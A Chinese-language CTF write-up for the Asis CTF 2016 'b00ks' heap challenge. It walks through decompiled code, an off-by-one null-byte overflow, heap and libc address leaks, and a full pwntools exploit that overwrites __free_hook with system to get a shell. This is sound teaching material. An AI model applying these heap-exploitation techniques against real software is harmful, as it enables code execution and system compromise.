Asis CTF 2016 b00ks WP
环境:ubuntu16.04 glibc版本:2.23## 分析
按照惯例用checksec查看下保护
!(https://img-blog.csdnimg.cn/img_convert/c38dde08ea8c0920eee15e2c9fca9466.png)
可以看到除了canary保护，其余保护全开
再用IDA进行代码审计
### 代码审计
- **main函数**
```c
__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; //
setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
welcome();
author_name();
while ( 1 )
{
v5 = menu();
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
create();
break;
case 2:
delete(v3);
break;
case 3:
edit(v3);
break;
case 4:
print();
break;
case 5:
author_name();
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
```
为了后续的代码审计，我这里给函数名都自定义了一个名字。
前几行代码定义了几个变量，然后关闭了缓冲区。
后面调用各种函数，然后进入while循环。
整个main函数没什么好看的。
- **welcome函数**
```c
int welcome()
{
return puts("Welcome to ASISCTF book library");
}
```
打印了一行字，也没啥好看的
- **author_name函数**
```c
__int64 sub_B6D()
{
printf("Enter author name: ");
if ( !(unsigned int)my_read(off_202018, 32LL) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}
```
主要功能是往`off_202018`写入大小不超过32的数据
这里注意`off_202018`是在bss段的
- **my_read(_BYTE *a1, int a2)函数**
```c
__int64 __fastcall my_read(_BYTE *a1, int a2)
{
int i; //
if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == 10 )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0;
return 0LL;
}
```
开始定义了一个变量i
然后进入if语句，判断a2（也可以理解为输入大小）是否合法，不合法即返回0
接着进入循环语句：
第一个if:每次往a1中写入一个字节，读取失败则返回1
第二个if:判断当前是否为换行符，10 == \x0a =='\n'
然后自增a1
最后判断是否读完，然后结束循环
循环结束后，将a1最后一个字节设为0，最后返回0
- **menu函数**
```c
__int64 sub_A89()
{
int v1; // BYREF
v1 = -1;
puts("\n1. Create a book");
puts("2. Delete a book");
puts("3. Edit a book");
puts("4. Print book detail");
puts("5. Change current author name");
puts("6. Exit");
printf("> ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 6 && v1 > 0 )
return (unsigned int)v1;
else
return 0xFFFFFFFFLL;
}
```
普普通通的一个菜单
- **create函数**
```c
__int64 sub_F55()
{
int v1; // BYREF
int v2; //
void *v3; //
void *ptr; //
void *v5; //
v1 = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
ptr = malloc(v1);
if ( !ptr )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)my_read(ptr, v1 - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
v1 = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
v5 = malloc(v1);
if ( v5 )
{
printf("Enter book description: ");
if ( (unsigned int)my_read(v5, v1 - 1) )
{
printf("Unable to read description");
}
else
{
v2 = sub_B24();
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = v5;
*((_QWORD *)v3 + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( ptr )
free(ptr);
if ( v5 )
free(v5);
if ( v3 )
free(v3);
return 1LL;
}
```
定义了几个变量：
v1，存name和description的size
*ptr，name所在chunk的指针
v5，description所在chunk的指针
v3，整个book所在chunk的指针
v2，可以理解为book数组的索引
整个函数流程就是：写入name_size -> 写入name -> 写入description_size -> 写入description -> 最后把id name指针 description指针 description大小写入到books结构体中
注意，这里存book数组的指针为`off_202010`，与`off_202018`（即author_name）刚好相距0x20
所以当author_name大小刚好为0x20时，会溢出到`off_202010`，**存在off-by-one漏洞**，因为最后溢出了一个'\x00'
- **edit函数**
```c
__int64 edit()
{
int v1; // BYREF
int i; //
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!");
}
else
{
printf("Enter new book description: ");
if ( !(unsigned int)my_read(
*(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
*(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id");
}
return 1LL;
}
```
先写入函数id
如果id大于0，循环book数组，找到id对应的书，
如果i == 20，就报错，说明整个book数组最多可以存20个book结构体，否则覆写之前的description
- **print函数**
```c
int sub_D1F()
{
__int64 v0; // rax
int i; //
for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)off_202010 + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)off_202010 + i));
printf("Name: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 8LL));
printf("Description: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
}
}
return v0;
}
```
主要功能就是打印所有book数组中的book结构体的信息
### 思路分析
到这里代码审计就先暂停一下，理一下思路
回顾`create`函数，其通过malloc来创建name和description和book结构体对应的chunk，因此他们的地址都是有一定关系的，而`author_name`又会把book结构体所在地址低两位用`'\x00'`给覆盖，
所以我们可以在写完author_name后，创建一个book结构体，然后通过`print`函数把结构体在堆中的地址给打印出来，达到泄露堆地址的目的
再接着调用`author_name`函数，再次把第一个book结构体的低两位给覆盖
因为name description book结构体之间的地址都是有关系的，因此我们可以控制malloc的大小，让description的后两位变成`'\x00'`，
最重要的是这里又给了修改description的功能，所以我们就可以通过修改某一个book结构体的description，伪造一个book结构体，达到任意写地址的目的。
## 解题过程
解题思路：通过`_free_hook`来获取shell
`__free_hook`可以在free前或者free后执行一些我们想要执行的函数，比如`system("/bin/sh")`
既然是利用`__free_hook`，那就必须得先获取libc基地址，我们从第一步开始
### 获取堆地址
先往author_name写入0x20个字符，然后创建一个book结构体，再print该结构体信息，达到泄露堆地址的目的
```python
def create(n_size,name,d_size,des):
p.sendlineafter(">","1")
p.recvuntil(":")
p.sendline(str(n_size))
p.recvuntil(":")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(d_size))
p.recvuntil(":")
p.sendline(des)
def print_all():
p.sendlineafter(">","4")
'''往author中写入0x20个字节'''
p.sendline(b'a'*0x20)
'''创建一个book结构体'''
create(0x1d0,"s1",0x40,"des1")
'''打印信息'''
print_all()
p.recvuntil("Author: ")
heap_addr = u64(p.recvline().ljust(8,b'\x00'))
print(hex(heap_addr))
```
!(https://img-blog.csdnimg.cn/img_convert/52e834d2911952d9a54143368a89956e.png)
具体的malloc大小得自己测试，不一定是我这个数字,可能环境的原因吧
### 泄露libc基地址
1. 创建一个由mmap分配空间的堆，因为mmap创建的堆的地址和libc地址的偏移是固定的
mmap阈值，可以在glibc中的malloc.c中找到
```c
DEFAULT_MMAP_THRESHOLD 128 * 1024
```
```python
create(0x21000,"s2",0x21000,'des2')
```
2. 修改s1的description，伪造一个结构体，使其name和description指向s2的name，然后打印泄露mmap地址
```python
def create(n_size,name,d_size,des):
p.sendlineafter(">","1")
p.recvuntil(":")
p.sendline(str(n_size))
p.recvuntil(":")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(d_size))
p.recvuntil(":")
p.sendline(des)
def edit(id,content):
p.sendlineafter(">","3")
p.recvuntil(":")
p.sendline(str(id))
p.recvuntil(":")
p.sendline(content)
def edit_author():
p.sendlineafter(">","5")
p.sendline(b'a'*(0x20))
def delete(id):
p.sendlineafter(">","2")
p.sendline(str(id))
def print_all():
p.sendlineafter(">","4")
p.sendline(b'a'*0x20)
create(0x1d0,"s1",0x40,"des1")
create(0x21000,"s2",0x21000,'des2')
print_all()
p.recvuntil("Author: ")
heap_addr = u64(p.recvline().ljust(8,b'\x00'))
print(hex(heap_addr))
gdb.attach(p,"b* main")
payload = p64(1) + p64(heap_addr + 0x38) + p64(heap_addr + 0x38) + p64(0xffff)
edit(1,payload)
edit_author()
print_all()
p.recvuntil("Description: ")
mmap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(mmap_addr))
```
!(https://img-blog.csdnimg.cn/img_convert/6c80bdf001fa2aa574f833cf18b90ddb.png)
3. 使用`vmmap`命令查看libc基地址，计算mmap与其偏移
!(https://img-blog.csdnimg.cn/img_convert/9f9e6c676c3c10a422c623869434407f.png)
偏移 = 0x7f2caba03010 - 0x00007f2cab451000
基地址 = mmap地址 - 偏移
### 拿shell
1. 获取system、/bin/sh和__free_hook地址
```python
offset = 0x5b2010
libc_base = mmap_addr - offset
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
```
2. 修改s1的description为"bin/sh"和"__free_hook"的地址，达到间接修改s2的name和description的目的。
```python
payload = p64(binsh) + p64(free_hook)
edit(1,payload)
```
3. 修改s2的description为"system"的地址，使得在free之前，执行system("/bin/sh")
```python
payload = p64(sys)
edit(2,payload)
```
!(https://img-blog.csdnimg.cn/img_convert/60de4f9cd7ce40268d791cc87967f734.png)
## exp.py
```python
from pwn import *
context(log_level = "debug")
p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(n_size,name,d_size,des):
p.sendlineafter(">","1")
p.recvuntil(":")
p.sendline(str(n_size))
p.recvuntil(":")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(d_size))
p.recvuntil(":")
p.sendline(des)
def edit(id,content):
p.sendlineafter(">","3")
p.recvuntil(":")
p.sendline(str(id))
p.recvuntil(":")
p.sendline(content)
def edit_author():
p.sendlineafter(">","5")
p.sendline(b'a'*(0x20))
def delete(id):
p.sendlineafter(">","2")
p.sendline(str(id))
def print_all():
p.sendlineafter(">","4")
p.sendline(b'a'*0x20)
create(0x1d0,"s1",0x40,"des1")
create(0x21000,"s2",0x21000,'des2')
print_all()
p.recvuntil("Author: ")
heap_addr = u64(p.recvline().ljust(8,b'\x00'))
print(hex(heap_addr))
gdb.attach(p,"b* main")
payload = p64(1) + p64(heap_addr + 0x38) + p64(heap_addr + 0x38) + p64(0xffff)
edit(1,payload)
edit_author()
print_all()
p.recvuntil("Description: ")
mmap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(mmap_addr))
offset = 0x5b2010
libc_base = mmap_addr - offset
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
payload = p64(binsh) + p64(free_hook)
edit(1,payload)
payload = p64(sys)
edit(2,payload)
p.interactive()
``` 感谢楼主发贴！！！
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